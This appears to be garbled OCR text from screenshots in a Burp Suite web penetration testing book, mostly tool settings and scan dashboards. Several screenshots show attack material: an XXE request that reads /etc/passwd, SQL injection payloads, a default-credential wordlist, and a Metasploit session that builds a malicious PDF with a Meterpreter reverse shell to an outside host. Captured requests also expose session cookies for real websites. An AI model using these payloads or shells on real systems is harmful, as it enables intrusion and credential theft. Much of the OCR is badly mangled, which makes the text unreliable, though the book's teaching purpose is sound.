CVSS Calculatar Yevevevery — 30 Mar 2017

Decoder Improved Yevevevrvr —1 12.Jul 2018

Decompressar Yeverdeveyr —+ 19.Jun 2018

Detect Dynamic JS Yevrtevey — 17Dec 2018 Pro extension

Dictuibistn Parmae Ao | 08 Win A0 Dn subencion

Refresh list | | Manual install
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[ connections | HTTP | sSL | sessions | Misc |

(@ Redirections
@} These settings control the types of redirections that Burp will understand in situations where it is configured to follow redirections.
When following redirections, understand the following types:

(¥ 3xx status code with Location header
¥ Refresh header

) Meta refresh tag

([ Javascript-driven

([ Any status code with Location header

(@ streaming Responses

@} These settings are used to specify URLS returning responses that stream indefinitely. The Proxy will pass these responses straight through to the client. Repeater will update the response
panel as the response is received. Other tools will ignore streaming responses. In order to view the contents of streaming responses within Burp, you need to check the "store streaming

responses" option

([ Use advanced scope control

Add | |Enabled |Prefix

Edit

Remove
Paste URL

Load

@ store streaming responses (may result in large temp files)
 strip chunked encoding metadata in streaming responses

(@ status 100 Responses

@} These settings control the way Burp handles HTTP responses with status 100
@ Understand 100 Continue responses

[J Remove 100 Continue headers
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@ Target Scope

@ Define the in-scope targets for your current work. This configuration affects the behavior of tools throughout the suite. The easiest way to configure scope is to browse to your target and use
the context menus in the site map to include or exclude URL paths.

[ Use advanced scope control

Include in scope

[ tona|
Exclude from scope B
| Add | Enabled | Prefix

e
[ Remove | »
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Advisory | Request | Response | Collaborator HTTP interaction

<htnl><hody>224285vbro640exz8e6wvvzilgigrgifigz</body></hunls
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Doseen & FoxyProxy

£ Export Use proxy Burp for all URLS (ignore patterns) v
2
meen Import

N @D Burp 127.0.0.1 ot -
B ,
@ whats My P2 @B Socks Tunnel 127.0.0.1 Bay
? About (

@D FreeBurpProxy 127.0.0.1 Oy

@D 127.0.0.1:9150 127.0.0.1

Q..

@B Burp When Tomcat 127.0.0.1

0.

@D Default






OEBPS/Images/3f342fc1-fea5-4b0e-9685-7db3a6d3a056.png
@ Payload Options [Custom iterator]

This payload type lets you configure multiple lists of items, and generate payloads using all permutations of items in the lsts

Positon: (1 |v] [ Clearall

List items for position 1 (19)

admin 0
root

woot

administrator >
administrador
toor

cisco

[l

EAS

Enter a new item

a1

&
:
3
h

&

Separator for position 1
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@ Session Handling Rules

£} You can define session handiing rules to make Burp perform specifl actions when making HTTP requests. Each rule has a defined scope (for particular tools, URLS or parameters), and can perform actions
such as adding session cookies, logging in to the application, or checking session validity. Before each request is issued, Burp applies in sequence each of the rules that are in-scope for the request

Add

Enabled | Description | Tools

= ] Use cookies from Burp's cookie jar ‘Scanner

Duplicate

up

REEE

Down

To monitor or troubleshoot the behavior of your session handiing rules, you can use the sessions tracer to view in detail the results of processing each rule.

|

Open sessions tracer

@ Cookie Jar

Burp maintains a cookie jar that stores all of the cookies issued by visited web sites. Session handling rules can use and update these cookies to maintain valid sessions with applications that are being tested
You can use the settings below to control how Burp automatically updates the cookie jar based on traffic from particular tools.

Monitor the following tools' traffic to update the cookie jar-

™ Proxy ([ scanner [ Repeater
(U intruder [ Sequencer [ Extender

|

Open cookie jar

@ Macros

{83 Amacro s a sequence of one or more requests. You can use macros within session handiing rules to perform tasks such as logging in to the application, obtaining anti-CSRF tokens, etc

dit

Duplicate

REEEE

{
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Burp Suite Professional v2.0.17beta - ClientName-WAPT-21022019 - licensed to Packt [single user license] - X
Burp Project Intruder Repeater Windaw Help
Useroptions | CodeDx | CSRF |  CSRF TokenTracker | CSufer | Deserialzer |  DeserilzationScanner | ESPReSSO |  ssvalidator
Dashhoard ‘ Target Proy | intruder | Repeater |  Sequencer | Decoder |  comparer | Extender | Project options
Tasks CITMD) @@, Issueactivity @,
Y Fiter  Running  Paused  Finished Y Fiter  High  Medium  Low  Info Certain  Firm  Tentatve  JO | searon
o DB ALY Q[ Task | Time Action Issue type
it frishe
25l onslerawied] View details ) s 8 14:421123 Feb 2019 lssue found User agent-dependent response X
® O cael ) 16 T TR oour|l e 2 16:49:46 23 Fel 2019 Issue found © Unencrypted communicatians )
062 2 16:07:07 23 Fel 2019 Issue found © Unencrypted communicatians
DEENRERTEMETD ssues: @ o 956 2 16:07:03 23 Fel 2019 Issue found © Unencrypted communicatians
4710 requests (@ errors) 955 2 16:07:03 23 Fel 2019 Issue found © Unencrypted communicatians
Auditing. More than 100 femaining 7 ocations crawied viewdetais ||| |[984 2 16:07:03 23 Fel 2019 Issue found © Unencrypted communicatians
953 2 16:07:03 23 Fel 2019 Issue found © Unencrypted communicatians
10. Crawl and audit of testphp vulnweb com WS 952 2 16:07:03 23 Feb 2019 Issue found @ unencrypted communications
Default configuration — 951 2 16:07:03 23 Fel 2019 Issue found © Unencrypted communicatians
e 1190 reuests (0 sirors 950 2 16:07:03 23 Fel 2019 Issue found © Unencrypted communicatians
natnentcated erawt 1m 25 T 3 943 2 16:07:03 23 Fel 2019 Issue found © Unencrypted communicatians
nauthenticated craw!. 1m 235 - 32 locations crawled Viewdetails ) ||| f laag 2 16:07:02 23 Fel 2019 Issue found © Unencrypted communicatians L
| q~<: 2 160512 93 Fah 2019 found A e i LI
v)i[< o3
Eventlog @ . Jasvsory | Request [ Response
~ L
S/ Fiter  critcal  Error  Info D earch. Sensitive infarmation within URLs may be lagged in various lacations, including the user's browser, the r
Wel Server, and any fOrward of reverse proxy Servers between the two endpoints. URLS may also be
Time v Type Source Message displayed on-screen, bookmarked or emailed around by users. They may be disclosed ta third parties via
16:5040 23 Feb 2013 Error Proxy [10] Unknown host: http &) | the Referer header wihen any oft-site links are fallowed. Placing sessian tokens into the URL increases
16:50:00 23 Feb 2019 Error Proxy [242] The client failed to ne the risk that they will be captured by an attacker.
16:49:.07 23 Feb 2019 Error Proxy (3] Failed to connect to 192
16:49:07 23 Feb 2019 Error Suite [4] Failed to connect to 19: Issue remediation
16:07:13 23 Feb 2019 Info Extender  EsPReSSO: OpeniD Login Applications shauld use an alternative mechanisi for transmiting session tokens, such as HTTP cookies
16:07:06 23 Feb 2019 Error Proxy [65] Software caused conn| | | or idden fields in forms that are submitted using the POST methad
16:07:05 23 Feb 2019 Error Proxy (8] readHandshakeRecord
16:06:59 23 Fel 2019 Info Proxy Auto-selected SSL paramet Vulnerability classifications
16:06:50 23 Fel 2019 Info Proxy Attempting to auto-select S
16:06:57 23 el 2019 Info Proxy Auto-selected SSL paramet & CWE-200: Information Exposure
16:06:57 23 Fel 2019 Info Proxy Attempting to auto-select S ® CWE-384: Session Fixation
16:06:57 23 Feb 2019 Info Proxy Auto-selected SSL parameth & CWE-598: Information Exposure Through Query Strings in GET Request
0557 93 Fen on1a_Infn o SlY

Mermory: 186.6M8 1 Disk (project) 384.0M8 1 Disk (temp)

4
&
H«\

H O Type here to search & 3 4) ENG
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Comparer Project options User options

@ These settings control how Burp handles extensions on startup.

¥ Automatically reload extensions on startup
¥ Automatically update installed BApps on startup

® Java Environment

These settings let you configure the environment for executing extensions that are written in|
will be loaded.

Folder for loading library JAR files (optional):

C:\Users\Notsosecure\Downloads Select folde

® Python Environment

These settings let you configure the environment for executing extensions that are written in
interpreter implemented in Java.

Location of Jython standalone JAR file:
C:\Users\Notsosecure\Downloads\jython-standalone-2.7.0 jar Select file ...

Folder for loading modules (optional):

Select folder ...
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System

‘Continue running background apps when Google Chrome is closed

Use hardware accelergflon when available

Open pro settings 2]
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(@ Grep-Payloads
O These settings can be used to flag result items containing reflections of the submitted payload.

(J search responses for payload strings

([ case sensitive match

[J Exclude HTTP headers

¥ Mmatch against pre-URL-encoded payloads

® Redirections
() These settings control how Burp handies redirections when performing attacks.

Follow redirections: @ Never
O On-site only
O In-scope only
O Aways

U Process cookies in redirections
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@ configuraton name:

Expand the areas that you want to define in this configuration.
e ooy par
@ Cookie parameter values
() Parameter name.
[ HTTP headers
) Entie body (for relevant content types)
 URL path filename
 URL path folders.

¥

Modifying Parameter Locations

<

Select the parameters to relocate within the request. Moving parameters can help to evade some filters, but results in many more scan requests.

[JURLtobody (] URL to cookie

([ Body to URL (] Body to cookie
[ Cookie to URL [] Cookie to body

Ignored Insertion Points

<

‘Skip server-side injection tests for these parameters

[ Add ] Enabled | Parameter Item [ Match type | Expression
@  Cookie Name Matches regex ‘aspsessionid.* I
o Cookie Name: Is asp.net_sessionid
@  Bodypaameter  Name Is _ eventtarget >
@  Bodypaameter  Name Is _eventargument
@  Bodypaameter  Name Is _viewstate -
& Body parameter  Name Is _ eventvalidation v

Skip all tests for these parameters:

[ Add ]Emhled | Parameter Item [ Match type Expression

.

> Frequently Occurring Insertion Points Not defined

ST

> Misc Insertion Point Options Not defined

S
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? Intercept Server Responses
@ Use these settings to control which responses are stalled for viewing and editing in the Intercept tab.

[¥) Intercept responses based on the following rules:

[ Add ] Enabled | Operator | Match type | Relationship | condition
T — v Content type he... Matches text
;Jm /] or Request Was modified
Remove | | @ Jor  Request  Wasiteeptea |,
a And Status code Does not match 3048
Up o And URL Is in target scope
(_oown_|

[ Automatically update Content-Length header when the response is edited
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Host: example.org

POST /catalog/search HTTE/1.1
Host: example.org

Content-Type: application/x-www-form-urlencoded
Content-Length: 47

Siory-sazssessseripussaniors (1) sickatasripease

GET /catalog/search HTTE/1.1

il
e e R ssesseassipessasiare ) sesissesinss
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80

Platform Authentication
These settings are configured within user options but can be overridden here for this specific project.

(] Override user options.

80

Upstream Proxy Servers
These settings are configured within user options but can be overridden here for this specific project.

(] Override user options.

80

SOCKS Proxy
These settings are configured within user options but can be overridden here for this specific project.

(] Override user options.

20

Timeouts
These settings specify the timeouts to be used for various network tasks. Values are in seconds. Set an option to zero or leave it blank to never timeout that task.

Normal: 120
Open-ended responses: 10
Domain name resolution: 300

Failed domain name resolution: 60 N
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[Target  Positons | Paytoads | optons |

@ Attack Target

Configure the details of the target for the attack.

Host: | 127.0.0.1
Port: |80

(J Use HTTPS
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Toget | Prowy | spider | Scamner | nruder | Repeser | Soavencr | Decoder | Gompoter | Extender | proct aptons | User aptrns

Alerts

[ c02 | sesvatistor | oypass War

<iv) (B8

Targets sz e0s1 (]

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTUL | Render
GET <div class='conainer®>

/xmL/exanpLel. php?xmL=<|DOCTYPEF foot (<! ENTITYthar FSYSTEIH " £11e33a///te /passwd"> | ><£oo>4 26bar 1</ fao>
BTTR/L L

Hose: 152.168.0.51

User-Agent: Mozilla/s.0 (Vindows NT 10.0; WinEd; xE4; rv:S5.0) Gecko/20L0010L Firefox/S5.0

Accepe: text/heml,application/shenlbxml,application/wml;q=0.5,%/%;q=0.8

Accept-Language: s-CL,es;q=0.8,en-US;q=0.5,en;q=0.3

Comnection: close

Upgrade-Insecure-Requests: 1

Hello
oot :x:0:0:zoot : /root : /bin/bash

daemon:x: 1:1: daemon. /use /sbin: /bin/sh

Dbin:x:2:2:bin: /bin: /bin/sh

ys:x:3:3:5ys: /dev: /bin/sh

yne:x:1: 65534  syne: /bin: /bin/sync

games x:5: 60: games  /use /games  /bin/sh

man:s:6:12:man: /var [cache /man /bin/sh

1p:x:1:1:1p: /var/spool /1pd: /bin/sh

mailix:8:8:mail:/var/mail: /bin/sh

news 99 news: /var /spool /news /bin/sh

wucp - 10: 10: uucp: /var /spool /uucp: /bin/sh

Drowy:x:13:13:proxy: /bin: /bin/sh

snne-data:x:33:33 wee-data: /vax fswee: /bin/sh

Dackup:x:31: 31 backup: /var /backups: /bin/sh

List:x:30:30:Mailing List Manager:/var/list: /bin/sh

ire:x:39:39:ircd: /var /run/ired: /bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/Lib/gnats: /bin/sh
nobody:x: 6553 65534 nobody - /nonexistent : /bin/sh

Libuuid:: 100: 101: - /var /13b/1ibuuid: /bin/sh

mysqloe:101:103:MySOL Server, - /var/1ib/mysql: /bin/false

Shd:x: 102: 65534 - /var /run/sshd: /use [sbin/nologin

openlaap:x: 103:106:0penlDAY Server Account,,.,:/var/lib/ldap: /bin/false
user:x:1000-1000:Debian Live user, ,, : /home/user: /bin/bash
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2057 /eatalaq/seazeh

Host: example.or
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Cookie: sessid:

Connection: close

P — |

cox18476137218| nrTe/1.1
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§#% Country/Region Profile

R

About Us n

Express Parcel & eCommerce Logistics Careers

(» DHL Worldwide

Choose a location v .

Globalization Hits New
Record High
DHL Global Connectedness Index 2018

Express  Logistics.

R RN ‘¢ - Track Your Shipment
it ¥ .

Read full Study % T ey T

Enter tracking number(s)

Track up to 10 numbers at a time.
About Us Separate with a comma (,) or return
(enter).

DHL Services Industry Sector Solutions

> More Tracking Options

New! Login - MyDHL Express

) Ship Online

7 Get Rate and Time Quote

Express Services A Parcel&eCommerce Freight Transportation A  Supply Chain Solutions ~ N
> Find a DHL Service Point

Location

Find a Service
Excellence. Simply delivered.
International express deliveries; global freight forwarding by air, sea, road and rail; warehousing solutions from packaging, to
repairs, to storage; mail deliveries worldwide; and other customized logistic services — with everything DHL does, we help @ important Information
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X
Burp Project Intruder Repeater Window Help
Dashboard | Taget | Prow | ntuder | Repeater | Sequencer |  Decoder | Comparer | Etender
Praject options | useroptons | codepx [ cseF | CSRF Taken Tracker | csuter | peseriaizer | Deserialization Scanner

Manual testing Configurations

Automatic scanner configurations
¥ Enable active scan sleep checks

(4 Enatle active scan DNS checks
Manual testing configuration

M Add manual issues to scanner results
U verhose made

Exploiting configuration

Ysoserial path: | ysoserial-0.0. 4-all jar|
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New scan - o X

Scan Type
® Crawl and audit
O craw

Scan URLs to Scan

canfiguration
Define the URLS ta scan. Burp will begin crawling from these URLS, and by default will include everything beneath the specified

URLS' folders
2]

Application
login

@

Resource
pool

wnwnw. il com/

> Detailed scope configuration

® (o< ) [ome)
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Home Documentation Configuration Examples Wiki Mailing Lists Find Help

Apache Tomcat/8.0.35 wpache Software Foundation

http://www.apache.org/

If you're seeing this, you've successfully installed Tomcat. Congratulations!

™  Recommended Reading:

Server Status.

Security Considerations HOW-TO

- Manager App
Manager Application HOW-TO
Clustering/Session Replication HOW-TO pacstiManager

Developer Quick Start

Tomeat Setup Realms & AAA Examples Serviet Specifications
First Web Application 3IDBC DataSources Tomeat Versions
Managing Tomcat Documentation Getting Help
For security, access to the manager webapp Tomcat 8.0 Documentation FAQ and Mailing Lists
s restricted. Users are defined in: y
Tomcat 8.0 Configuration The following mailing lists are available:
SCATALINA_HOME/conf/tomcat-users. xnl
Tomcat Wiki tomeat-announce
In Tomcat 8.0 access to the manager I — Important announcements, releases, security
application is split between different users. Find additional important configuration vuinerabilty notifications. (Low volume).
Read more... information in: P
SCATALINA_HOME/RUNNING. txt User supportand discussion
Release Notes taglibs-user
o Developers may be interested in: User support and discussion for Apache Taglibs
=L Tomeat 8.0 Bug Database fomeatdey

Migration Guide P — Development mailing st including commit
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@ Payload Sets

Payload set. | 1 i

You can define one or more payload sets. The number of payload sets depends on the attack type
‘available for each payload set, and each payioad type can be customized in different ways.

Payload count: 134

Request count: 134

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

dora="a

1or1=1

&' waitfor delay 0:0:10—
1 waitfor delay ‘0:0:10'—

declare @q nvarchar (200) select @q = 0x77006... |

i

J Qe

Enter a new item

payload before itis used.
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Create Virtual Machine

Name and operating system

Please choose a descriptive name and destination folder for the new virtual

machine and select the type of operating system you intend to install on t. The

name you choose will be used throughout VirtualBox to identify this machine.
Ul be used Troughost Ve

[xtreme Vuinerable web app

\Users\Notsosecure\VirtualBox VMs

Type: [Linux -

Version: | Ubuntu (64-bit) -

ot =
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Burp Project Intruder Repeater Window Help

Oasnooard | Target [ i | intruder | Repeater | sequencer | Decoder | Comparer | Extender | Project options | User aptions | NMAP Parser

nt=icept [ HTTP histary | websockets history | Options |

Filter: Hiding CSS, image and general binary content

# 4| Host [ Method | URL. | Params |Edited | Status | Length | MIME type | Extension | Title | comment

284 hitps:/auth mercadopago.c.. POST  /sessionireplicate/ 1551162238002 204 2061 JSON 0
285  hitps:/authmercadopagoc.. POST  /sessionfreplicate/1551162238002 204 2034 JSON

286 hitps:/auth.mercadoshops... POST  /sessionfreplicate/1551162238002 204 2070 JSON

287 hitps:/auth.metroscubicos.c... POST  /sessionreplicate/1551162238002. 204 2082 JSON

290 hitps:/idata mercadoliore com  POST  firacks v 200 402 JSON

291 hitps/istats g doubleclicknet  GET  /ricollect7t=do&aip=18,_ v 302 979 HTML 302 Moved

293 hitps:/www gaogle.com GET  fadsfga-audiences? v 302 693 HTML

295 hitps://bam nr-data net GET  /1/30099229917a=798726278v=1 v 200 280 script

296 hitps:/www mercadalibre.co.. GET  /menu/user s04 708

298 hitps:/www mercadolibre.co.. GET  /gzinotifications/adige 304 B34 i
1S - >

Reguest | Response

Raw | Params | Headers | Hex

GET /HTTP/11

Host: www.mercadolibre.com mx

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; v:65.0) Gecko/20100101 Firefox/65.0

Accept: texthtml application/xhtml+xml application/xml:q=0.9 image/webp.*/q=0.8

Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Referer: https://auth mercadolibre.com mx/session/replicator/1551162238010-n600po3vmaqs 1rjv5knnd0srbvpjvebh?go=https%3A%2F %2Fwww.mercadolibre.com. mx%2F
Connection: close

Cookie: _d2id=c027f513-Cb0f-437-8973-0b61beIc3543-n; c_home=0.59.0; _mi_ga=GA1.3.1920728709.1551072248; _ml_ga_gid=GA1.3 2134874440 1551072248;
_ml_ci=1920728709.1551072248; __gads=ID=fa36d5dfe9e2812d:T=1551072423:S=ALNI_MZZn6iIUBZW3XXUC-a0RITthys5C1A; _mit=ee21ef99-734b-4585-a39c-fr11d1d7fad0;
orguseridp=409606937; _csrf=nG3FieurmJDWb6QQBKSPPaS; orghash=022602-MLMNXTI9 1XPSAFZgQGMMWUAaIEEeq__RRR_O__RRR_0-409606937;
0rgid=CS-022602-4¢67ba13edcBB586660851b61adb1767212ch75beffbc61¢751a286988a4601d5d3a8d3adcTde3ccs 1842d9eeff2cda-409606937; orguserid=TTd0ATttaHN;
orgnickp=PRATIKSHET; ssid=ghy-022602-EUMTxxlicza0gu200Y3LncypowgniQ-_-409606937-__-1645770237870-RRR_0-RRR_0;

0rgapi=CS-022602-b82eb47ee98a9are 1668641154a5918604788C6C3938106ce1707ae88810d 1bcd9306ddId4 1711a326 73513147 7biT07762d0499cH 12998a4852660bC00-409606937
Upgrade-Insecure-Requests: 1

@ <[ #] 2] [rvpe a searcn term

5

0 matches
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€ Create Virtual Machine

Memory size

‘Select the amount of memory (RAM) in megabytes to be allocated to the virtual
machine.
‘The recommended memory size is 1024 M.

32768 MB

4mB
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root@kall: ~/pdf_malicious

File Edit Vies Search Terminal Help
FILEMAME == malicious.pdf
msf exploit(adobe utilprintf) = set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 52.73.185.57
LHOST == 52.73.105.57
msf exploit(adoberutilprintf) = set LPORT 4455
LPORT == 44535
msf exploit(adobe_utilprintf) =.show options

Module options (exploit/windows/fileformat/adobe_utilprintf):

Name Current Setting Required Description

FILENAME malicious.pdf yes The file name.

:Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technigue (Accepted: '', seh, thread, process, none)
LHOST 52,73.105.57 yes The listen address

LPORT 4455 yes The listen port

;
Exploit target:

- Id Name

0  Adobe Reader v8.1.2 (Windows XP SP3 English)

sf exploit(adobe utilprintf) > expleit

[*] Creating 'malicious.pdf' file...
[+] malicious.pdf stored at /root/.msf7/local/malicious.pdf
msf exploit({adobe utilprintf) = [
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Burp Suite Professional v2.0.17beta - ClientName-WAPT-21022019 - licensed to Packt [single user license]
Burp Project Intruder Repeater Window Help

Useroptions | CodeDx | CSRF | OSRF TokenTracker | OSufer | Deseraizer | Deserialzation Scanner | EsPReSSO |  xssvalidator

ashboart arget ro) intruder epeater equencer ecoder omparer ender raject options
Dashboard Target Proxy Intruc Repeate seq Decod Comp Exten Project apti

[tereep | HrTP nistory | websockets history | options |

/ Renuest o hitp:/192.168.56.102:80

[ Fowara || Drop | [ Interceptisen | | Action | Cormment this item W@

Raw | Params | Headers | Hex

POST /bWAPPlinsecure_direct_object_ref_1.php HTTP/1.1 *
Host: 192.168.56.102

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: texthtm, application/xhtmI+xml,application/xml,q=0.9,mage/webp, /*;q=0.8

Accept-Language: en-US en;q=0.5

Accept-Encoding: gzip, deflate

Referer http://192.168.56.102/bWAPP/insecure._direct_object_ref_1.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 36

Connection: close

Cookie: PHPSESSID=nnh35ine79hcemrbdg09ctu364; acopendivids=swingset jotto,phpbb2 redmine; acgroupswithpersist=nada; security_lev
Upgrade-Insecure-Requests: 1

secret=cosaglogin=vedanttagaction=change

@ (<= 0 matches
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Create Virtual Machine

Name and operating system

Please choose a descriptive name and destination folder for the new virtual
machine and select the type of operating system you intend to install on t. The
name you choose wil be used throughout VirtualBox to identify this machine.

ame: [owase aevid |

| Ci\Users\ s m\VirtualBox VMs M

‘Type{ tinux 5

Version] [Linux 26/ 3.x/ 4:x (64-bit) -

= ==
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Reguest | Response

Raw | Params | Headers | Hex

GET /menuluser HTTP/1.1

Host: www.mercadolibre.com.mx

User-Agent: Mozilla’5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: */*

Accept-Language: en-US,enq=0.5

Accept-Encoding: gzip, deflate

Referer: https:/fwww.mercadolibre.com.mx/

X-NewRelic-ID: XQ40VF5VGWQIXFZQAQMA

Connection: close

Cookie: _d2id=c027f513-cb0f-437.8973-0b6be9c3543-; _csrf=J3uMnVF4Pn7rdxgz4KCeOjv; c_home=0.59.0; _ml_ga=GA1.3.1920728709.1551072248;
_ml_ga_gid=GA1.3.2134874440.1551072248; _mi_ci=1920728709.1551072248; _gads=ID=fa36d5dfe9e28120.T=1551072423:S=ALNI_MZZnGiUBZw3XXuC-aoRfTtbys5c1A;
_mit=ee21ef99-734b-4585-a39c-ff1fd1d7fad0; JSESSIONID=D684EIO4E 17562F9FEBCDECSBECF15BD;
ssid=ghy-022501-IDdPTzQkFDMIIDxnob2Zf%k fvauZEh-__-409606937-__-1645681283368-RRR_0-RRR_0;
orghash=022501-MLMaCYN1NRXWiX4PCXLW0sevxjpDOe__RRR_0__RRR_0-409606937; orgnickp=PRATIKSHET; orguserid=0Tdh4htdtaHh;
0rgid=CS-022501-032d371cf2d97eb049e43e01d0b5Tade2f2cb7 5beffbc6 1c751a286988a46d1d5d3a8d3adc fde3cc8 1842d9eeff2cda-409606937;

0rgapi=CS-022501-8f2chc 1ec3a7e803(7af91258¢7e339aadc9be792577818ic7d6acoba21c466c 10693767 7e4e0e85356a89b4717787€91107762dd499cf112998a4852660bc00-409606937;
orguseridp=409606937; _ml_dc=1
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—— > Request 1

Check for OS
command —— > Request 2 @ Session valid
injection

—— > Request 3

@ Session valid

______________________________ Checkpoint

Roll back and resume
@ Session valid from latest checkpoint

® Session invalid
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P B e b — 00 "
. BApp verification failed - the BApp may be unsigned or may have been tampered with
You should exercise caution when installing untrusted BApps.

Do you wish to continue?
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(?) Attack Results
O These settings control what information is captured in attack results.

(¥ store requests

(¥ store responses

() Make unmodified baseline request

[J use denial-of-service mode (no results)

(J store full payloads

® Grep - Match
() Tnese settings can be used to flag result items containing specified expressions.

(] Flag result items with responses matching these expressions:

error L
exception

illegal

invalid >
fail

stack

access F

LRI

Enter a new item

Match type: @ Simple string
O Regex
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| Dashboard | Tt [ Prow fainder |
M Scope | Issue definitions |

Filter: Hiding not found s. hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders
@ Filter by request type _ Filter by MIME type _ Filterby statuscode  Folders
{53 | O show only in-scope items @ HTML @ Other text o 2xx [success] ) Hide empty folders
[J show only requested items ™ script [J Images ¥ 3xx [redirection]
(J show only parameterized requests ™ xmL ™ Flash [J 4xx [request error]
™ Hide not-found items Ocss [J other binary ™ sxx [server error]
Filter by search term Filter by file extension Filter by annotation
| {J Show only: |asp.aspx.jsp.php (] Show only commented items
(J Regex o i
. P P ‘Show only highlighted items
[J case sensitive [] Negative search U Hide: s.gif jpg.png.css
| 'Show all | | Hideall | | Revertchanges |
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2 Burp Suite Professional v2.0.17beta - ClentName-VAPT-21022019 - lcensed to Packt [single user icense] - o X
Burp Project Intruer Repeater Window Help
Useroptions | CodeDx | CSRF | CSRF TokenTracker | CSufer | Deserializer |  Deserializaion Scanner | EsPReSSO | xssvaidator | CO2
Dashboard | Target | Proyy | ntuder |  Repeater |  Seouencer |  Decoder comparer | Extencer | Praject options

Intercept | HTTP histary | Websockets history | Options |

Filter: Hiding CSS, image and general binary content

# 4| Host [ Method |URL | Params |Edited | Status | Length | MIME type | Extension | Title
6247 hitp//statse webtrendslive .. GET  /dcsui7 1yvUzSbdeSis7)rivs_gldomwtid js?callback=wehtr v 200 196 HTML is 2
6250  hitp://detectportal firefox.com  GET /fsuccess bt 200 379 text et
6252  hitp://detectportal firefox.com  GET /fsuccess bt 200 379 text et
6253  hitp://detectportal firefox.com  GET /fsuccess bt 200 379 text et
6254 hitp://detectportal firefox.com  GET /fsuccess bt 200 379 text et
6255  hitp://detectportal firefox.com  GET /fsuccess bt 200 379 text et v
[4% >
[ Request | origina response | Auto-modiied response Seem
Raw | Params | Heaters | Hex EerlRereae Ciri+R
GET /en/express/tracking. htmi?brand=DHL&AWB=1923676789%0D%0| Send to Sequencer |5
Host www.dhl.com Send to Comparer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:65.0) Geckol{ send ta Decader
Accept: texthiml application/xhtmi+xml, applicafion/xmiq=0.9,mageel} gy rospsse i browser
Accept-Language: en-US,en;q=0.5 i R
Accept-Encoding: gzip, deflate q
Referer: http://www.dhl.com/en_html Send request to DS - Manual testing
Connection: close Send request to DS - Exploitation
Cookie: AWBS=1234564442; BRAND=Express®20Services; Send to SQLMapper
TS016f3c0b=01914b743de3045¢ad618c8a4c012e929a517deBBEIT | gend to CewLer 7aa304d12b9d1147;

ak_bmsc=F830021642ED2030B7CD6718D641ECE76866F60CE020001
aNmMyvspyKelFIR2IEGO1WhQWGQLDEINbhucADIBIOE]big Y TIRI7S
5U0ZIuwsAHjdOINpFLx33qug0=;
bm_sv=3C436CDBABOACDE2FB2BB80545C7TBCCE~0KgkZdeqqkixJ| Copy URL

ZK9WIP KK 1jTjZwtVwBsCBI049v6d7XB/Q3BdeuWw==; dhi_cookie_q Copy as cur command
AWBS_crossrefpar1_taskcenter_taskcentertabs_item1229046233349_1 copy to file
BRAND_crossrefpar!_taskcenter_taskcentertabs_item 1229046233349 | g c o
Upgrade-Insecure-Requests: 1

Send to Laudanum
Engagement tools >

Convert selection >
cut Clrie
Copy Ctri+C

@ <)L+ 2] |7vpe a search term Paste Ctrl+v

J20AGRmMTrUHETpICrvPGDhhR/z8428)V5S2PBYEN2C68LZG
UvrWibyPOpFpac0XHAPGGYagIPIBR2TKXSVIOIVQHYWIZYhA

ILEtrEKbAGP5Zel+/bwHFJR 1Xhn8e7c+7j0sKThisrGPRRdhfKou

76789;
9%20Air%20waybill

;

0 matches
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Burp Project Intruder Repeater Window Help

Useroptions | CodeDx | CSRF |  CSRF TokenTracker | CSufer | Deserialzer |  DeserialzationScanner | ESPReSSO |  ssvalidator
Dashboard | Target Prory | Intruder Repeater | Sequencer |  Decoder | Comparer |  Extender | Praject options

Site map | Scope | Issue definitians

(@ Target Scope

£G} Define the in-scope targets for your current work. This configuration affects the behavior of tools throughout the suite. The easiest way to configure scape s to browse to your target and use the
cantext menus in the site map to include or exclude URL paths

(1) use advanced scope cantrol

Include in scope

Add Enabled | Prefix |

="} A preficor in-scope URLS x

Remove
@ Specify a prefix for URLS you want to match
Paste URL

Load

Exclude from scape

Prefix | fitps /fexample com/path

| Paste URL oK Cancel

[ e | |Enabied | Prefic

Edit
Remove >
Paste URL
Load
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m Taget | Poy | mtuder | Repeater | Sequencer Decoder Comparer [ Extencer

Tore @O [mumscity oV

? Filter  Running Paused Finished ? Filter  High Medium Low Info Certain Firm Tentative p Search.
. . »

1. Live passive crawl from Proxy (all traffic) oo E | Task | Time Action, |1ssue type
/Add links. Add item itself, same do... 0 items added to site map
Capturing: O 0 responses processed

0 responses queued
2. Live audit from Proxy (all traffic) WS N 2
Audit checks - passive Issues:
Capturing: () 0 requests (0 errors)

View details >

<
Event log @ 2 W
—

? Filter  Critical Error Info p Lsearch
Time ¥| Type Source | Message
14:36:52 24 Jan 2019 Info Proxy Proxy service started on 127

-l
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B New scan

9

Scan details

Scan
configuration

2]

Application
login

@

Resource
pool

Scan Type

@ Crawl and audit
O crawl

URLs to Scan

Define the URLs to scan. Burp will begin crawling from these URLS, and by default will include everything beneath the specified

URLs' foiders.

> Detailed scope configuration





OEBPS/Images/f4e7c533-8cf6-480a-a260-4ef555e05bea.png
Burp Suite Professional v2.0.17beta - ClientName-WAPT-21022019 - licensed to Packt [single user license]
Burp Project Intruder Repeater Window Help

Dashboard | Taget | Prow | ntuder | Repeater | Sequencer |  Decoder | Comparer | Etender L
Projectoptions | Useroptions | CodeDx [ CSRF |  CSRF Taken Tracker | csufer [ Deseriaizer | Deserialization Scanner ‘ EsPReSS0
S50 History | Options | Help |
Full Histary
# S50 Protocal Host Methad URL Token Time Lengtn Comment

Reguest | Response

Raw  Hex

v

@ L] (] [rvpe asearchtem 0 matches
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Burp Suite Professional v2.0.17beta - ClientName-\APT-21022019 - licensed to Packt [single user license] - o x

